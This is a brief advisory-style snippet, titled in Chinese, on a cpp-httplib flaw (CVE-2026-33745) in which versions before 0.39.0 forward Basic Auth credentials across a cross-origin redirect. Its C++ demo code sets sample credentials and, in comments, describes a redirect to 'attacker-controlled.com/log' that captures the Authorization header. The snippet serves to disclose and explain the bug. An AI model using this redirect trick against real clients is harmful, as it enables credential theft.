CVE-2026-33745 cpp-httplib 跨域重定向凭证泄露漏洞

#include <httplib.h> #include <iostream> // Simulated vulnerable client behavior void test_vulnerable_redirect() { httplib::Client cli("http://trusted-server.com"); // Set Basic Auth credentials cli.set_basic_auth("user", "secret_password"); // The server responds with a 302 redirect to "http://attacker-controlled.com/log" // In vulnerable versions (< 0.39.0), the Authorization header is forwarded to the attacker. auto res = cli.Get("/redirect-endpoint"); if (res) { std::cout << "Status: " << res->status << std::endl; } else { std::cout << "Request failed" << std::endl; } } // Server side proof (Attacker's server logging the leak) // The attacker captures the 'Authorization' header sent by the vulnerable client.